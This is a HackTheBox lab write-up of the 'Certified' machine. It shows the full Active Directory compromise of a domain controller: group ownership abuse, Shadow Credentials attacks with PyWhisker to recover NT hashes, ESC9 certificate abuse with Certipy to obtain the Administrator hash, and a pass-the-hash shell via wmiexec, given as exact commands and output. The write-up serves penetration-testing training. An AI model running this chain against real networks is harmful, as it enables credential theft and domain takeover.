Certified – HackTheBox Link to heading
- OS: Windows
- Difficulty: Medium
- Platform: HackTheBox
Summary Link to heading
“Certified” is a Medium machine from HackTheBox platform. We start with credentials already provided for an Active Directory domain. This first user is able to add himselft to a group. After adding ourselves to this group, we are able to perform a Shadow Credentials attack over a second user; which allow us to steal its NT hash. This second user can also perform a Shadow Credentials attack over a third user. This third user has the permissions to enroll certificates; which allow us to perform an ESC9 privilege escalation based on AD CS and impersonate Administrator user in the victim machine.
User Link to heading
judith.mader:judith09Starting with a Nmap scan shows some ports open: 53 Domain Name System (DNS), 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol (LDAP), 445 SMB (SMB), among others:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,9389,49666,49668,49669,49670,49677,49704,49728,54245 10.10.11.41
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-06 16:01 -03
Nmap scan report for 10.10.11.41
Host is up (0.46s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-07 02:02:04Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-07T02:03:39+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-11-07T02:03:39+00:00; +7h00m05s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
|_ssl-date: 2024-11-07T02:03:40+00:00; +7h00m05s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-07T02:03:39+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49728/tcp open msrpc Microsoft Windows RPC
54245/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-11-07T02:03:00
|_ start_date: N/A
|_clock-skew: mean: 7h00m04s, deviation: 0s, median: 7h00m04s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.14 seconds
From the output we can see we are against an Active Directory environment.
We start a recognition against some services using enum4linux-ng against the target with the provided credentials:
❯ python3 /home/gunzf0x/GitStuff/enum4linux-ng/enum4linux-ng.py 10.10.11.41 -u 'judith.mader' -p 'judith09'
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.41
[*] Username ......... 'judith.mader'
[*] Random Username .. 'mailkriu'
[*] Password ......... 'judith09'
[*] Timeout .......... 5 second(s)
===================================
| Service Scan on 10.10.11.41 |
===================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
===================================================
| Domain Information via LDAP for 10.10.11.41 |
===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: certified.htb
<SNIP>
We can see a lot of info about different users and shares. So let’s check them one by one.
Using NetExec let’s check SMB shared resources:
❯ nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09'
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
❯ nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09' --shares
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.10.11.41 445 DC01 [*] Enumerated shares
SMB 10.10.11.41 445 DC01 Share Permissions Remark
SMB 10.10.11.41 445 DC01 ----- ----------- ------
SMB 10.10.11.41 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.41 445 DC01 C$ Default share
SMB 10.10.11.41 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.41 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.41 445 DC01 SYSVOL READ Logon server share
But we are not able to see any interesting shares besides the default ones. Just we are against a machine named DC01.
We also add the comain certified.htb and its FQDN dc01.certified.htb in our /etc/hosts file:
❯ echo '10.10.11.41 certified.htb dc01.certified.htb' | sudo tee -a /etc/hosts
Let’s enumerate users. For this we can use Microsoft RPC service with rpcclient tool:
❯ rpcclient -U 'judith.mader%judith09' 10.10.11.41 -c 'enumdomusers'
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[judith.mader] rid:[0x44f]
user:[management_svc] rid:[0x451]
user:[ca_operator] rid:[0x452]
user:[alexander.huges] rid:[0x641]
user:[harry.wilson] rid:[0x642]
user:[gregory.cameron] rid:[0x643]
We can save all the users then running:
❯ rpcclient -U 'judith.mader%judith09' 10.10.11.41 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}' > users.txt
We attempt some attacks like AS-REP Roasting and others but nothing seems to work.
We will then extract info about the domain. For this we will use bloodhound-python:
❯ bloodhound-python -c ALL -u 'judith.mader' -p 'judith09' -d 'certified.htb' -ns 10.10.11.41 --zip
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 53S
Then, we upload the generated .zip file to Bloodhound (Community Edition), search for judith.mader user and, at the right side, click on Outbound Object Control. We can then see:
We have the right WriteOwner over Management group. Based on Bloodhound info, this means:
The user
JUDITH.MADER@CERTIFIED.HTBhas the ability to modify the owner of the groupMANAGEMENT@CERTIFIED.HTB. Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’sDACL.
Based on Bloodhound suggestion, we can use owneredit.py from Impacket to add ourselves as the owner of this group. We then use this tool:
❯ impacket-owneredit -action write -new-owner 'judith.mader' -target 'Management' 'CERTIFIED.HTB'/'judith.mader':'judith09' -dc-ip 10.10.11.41
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103
[*] - sAMAccountName: judith.mader
[*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!
We can then grant our user rights to add new members to this group using dacledit.py from Impacket:
❯ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'Management' 'certified.htb'/'judith.mader':'judith09'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20241106-231945.bak
[*] DACL modified successfully!
And, finally, add our user to Management group. For this we can simply use Samba service:
❯ net rpc group addmem "Management" "judith.mader" -U "certified.htb/judith.mader%judith09" -S "CERTIFIED.HTB"
owneredit.py. We might also need to execute the command with impacket-dacledit again and retry with net rpc command.Back to Bloodhound we can see that Management group has 1 user called management service, or management_svc. Management group (the group we are the new owner and member of) has GenericWrite permissions over this user:
We will attempt a Shadow Credentials attack using PyWhisker.
GenericWrite permission also allow us to change the password of management_svc user. However, in real environments, it is never recommended to change the password of a user, especially if it is a service account since we might interrumpt an important service in production. Try to avoid that path if possible.First, clone PyWhisker from its Github repository. We will use an old version/commit of it since new ones present some problems. We will install all the needed libraries inside a virtual environment. Therefore execute these steps:
❯ git clone https://github.com/ShutdownRepo/pywhisker.git
<SNIP>
❯ cd pywhisker
❯ git checkout ec30ba5
<SNIP>
❯ python3 -m venv .venv_pywhisker
❯ source .venv_pywhisker/bin/activate
❯ pip3 install -r requirements.txt
<SNIP>
Once installed, use it:
❯ python3 pywhisker.py -d "certified.htb" --dc-ip 10.10.11.41 -u 'judith.mader' -p 'judith09' --target 'management_svc' --action 'add'
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 4d475211-0da2-f5fb-43b8-8b150fece8ae
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: DflSdFss.pfx
[*] Must be used with password: wutdyJINWfZFFnIbrAXK
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
We got a new certificate (.pfx file) and its password. Save them. We will need them later.
Just as the tool indicates, let’s use PKINITtools suite. We clone it from its Github repository and install all its dependencies in a new virtual environment. Then, run gettgtpkinit.py (where we also synchronize clocks with the target before requesting the ticket with ntpdate <target-ip> command) providing the .pfx file and its password:
❯ cp ../pywhisker/DflSdFss.pfx ./management_svc_cert.pfx
❯ sudo ntpdate -s 10.10.11.41 && python3 gettgtpkinit.py -cert-pfx management_svc_cert.pfx -pfx-pass 'wutdyJINWfZFFnIbrAXK' -dc-ip 10.10.11.41 CERTIFIED.HTB/management_svc management_svc.ccache
2024-11-07 06:40:22,900 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-11-07 06:40:22,942 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2024-11-06 23:40:40,545 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-11-06 23:40:40,546 minikerberos INFO c4ff9d4eaa8bac3f6341f6ec3e13cc75fa2273a3bcfe46e78bef882986ec7d40
INFO:minikerberos:c4ff9d4eaa8bac3f6341f6ec3e13cc75fa2273a3bcfe46e78bef882986ec7d40
2024-11-06 23:40:40,554 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
KRB_AP_ERR_SKEW(Clock skew too great) just repeat it again (incluiding sudo ntpdate) until it works.We have a .ccache file. We will also need the key (that starts with c4ff9d...) since the generated .ccache file is encrypted and this key is used to decrypt that file.
We then use getnthash.py from PKINITtools with the .ccache file and the key generated to request the NT hash for management_svc user along with ntpdate to avoid clock errors with Kerberos service:
❯ sudo ntpdate -s 10.10.11.41 && KRB5CCNAME=management_svc.ccache python3 getnthash.py certified.htb/management_svc -key c4ff9d4eaa8bac3f6341f6ec3e13cc75fa2273a3bcfe46e78bef882986ec7d40
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
We got a NT hash for user management_svc.
We can check if this hash works with NetExec:
❯ nxc smb 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584'
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584
It works. We are good to go.
Checking what this new user can do in Bloodhound we get it has GenericAll rights over ca_operator user:
Since we have GenericAll permissions over ca_operator user, we could get its NT hash through, again, a Shadow Credentials attack (or change its password; but, again, it is never recommended).
For this we repeat the steps we previously did to obtain management_svc hash, but this time we use management_svc hash to obtain the NT hash for ca_operator user:
❯ python3 pywhisker.py -d 'certified.htb' --dc-ip 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584' --target 'ca_operator' --action 'add'
[*] Searching for the target account
[*] Target user found: CN=operator ca,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 3f4c8b8c-45e5-68fe-e125-fd01cfdb2e7b
[*] Updating the msDS-KeyCredentialLink attribute of ca_operator
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: HBghrLqS.pfx
[*] Must be used with password: Po0RwcFU2wUrmWy9q7JO
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Get the .ccache file:
❯ sudo ntpdate -s 10.10.11.41 && python3 gettgtpkinit.py -cert-pfx ca_operator_cert.pfx -pfx-pass 'Po0RwcFU2wUrmWy9q7JO' -dc-ip 10.10.11.41 CERTIFIED.HTB/ca_operator ca_operator.ccache
2024-11-07 07:06:40,817 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-11-07 07:06:40,854 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2024-11-07 00:07:10,720 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-11-07 00:07:10,720 minikerberos INFO 3a6c32fdfb44fb3d6dacd043d45f5e6f125a269841f419bb8acf5e0b80fc67af
INFO:minikerberos:3a6c32fdfb44fb3d6dacd043d45f5e6f125a269841f419bb8acf5e0b80fc67af
2024-11-07 00:07:10,726 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
and request the NT hash:
❯ sudo ntpdate -s 10.10.11.41 && KRB5CCNAME=ca_operator.ccache python3 getnthash.py certified.htb/ca_operator -key 3a6c32fdfb44fb3d6dacd043d45f5e6f125a269841f419bb8acf5e0b80fc67af
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
b4b86f45c6018f1b664f70805f45d8f2
Now we got the NT hash for ca_operator user.
We check, again, if this hash works with NetExec:
❯ nxc smb 10.10.11.41 -u 'ca_operator' -H 'b4b86f45c6018f1b664f70805f45d8f2'
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2
It works.
Since ca_operator name is Operator CA I assume this is related to Active Directory Certificate Services (ADCS). To identify certificates that can potentially be abused we can use the tool Certipy and its find module/command to find vulnerable certificates. We then execute:
❯ certipy find -username ca_operator@certified.htb -hashes 'b4b86f45c6018f1b664f70805f45d8f2' -dc-ip 10.10.11.41 -vulnerable -enabled
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Saved BloodHound data to '20241107001328_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20241107001328_Certipy.txt'
[*] Saved JSON output to '20241107001328_Certipy.json'
This generates a 2 output files; a .txt an a .json file.
Checking if we have vulnerable certificates based on these files we get:
❯ cat 20241107001328_Certipy.txt | grep -E 'CA Name|Template Name|ESC'
CA Name : certified-DC01-CA
Template Name : CertifiedAuthentication
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
We get the template ESC9 for a certificate named CertifiedAuthentication. We can check how to abuse these certificates in Certipy documentation. There, they say that Certipy is not related to a specific command for ESC9 template; however, they redirect to this blog that explains how to abuse it.
The condition for this certificate is that we need 2 accounts: an account A that has GenericWrite rights over an account B that is allowed to enroll certificates. In our case A is our user management_svc which had GenericAll -which includes GenericWrite- rights over ca_operator, that has the ability to enroll certificates (which is our user B). Fortunately, conditions are satisfied and we should be able to perform this attack.
Following the steps of the blog, since we have already got NT hashes for management_svc and ca_operator users, we can change the userPrincipalName (or upn) of ca_operator to be Administrator (not incluiding the domain @certified.htb):
❯ sudo ntpdate -s 10.10.11.41 && certipy account update -username management_svc@certified.htb -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'Administrator'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'
Next, request the vulnerable certificate ESC9. We request this certificate as ca_operator:
❯ sudo ntpdate -s 10.10.11.41 && certipy req -username ca_operator@certified.htb -hashes ':b4b86f45c6018f1b664f70805f45d8f2' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -key-size 2048 -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
Note that we got Certificate has no object SID and the upn is Administrator, which is a good sign.
Restore ca_operator upn to its original value:
❯ sudo ntpdate -s 10.10.11.41 && certipy account update -username management_svc@certified.htb -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'ca_operator@certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'
And, finally, request the Administrator hash (after many KRB_AP_ERR_SKEW(Clock skew too great) errors later):
❯ sudo ntpdate -s 10.10.11.41 && certipy auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
We can then get into the target machine using this hash and a tool like wmiexec.py from Impacket suite:
❯ impacket-wmiexec administrator@dc01.certified.htb -hashes :0d5b49608bbce1751f708748f67e2d34
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
certified\administrator
GG. We can read the user flag at manager_svc Desktop and root flag at Administrator Desktop.
~Happy Hacking.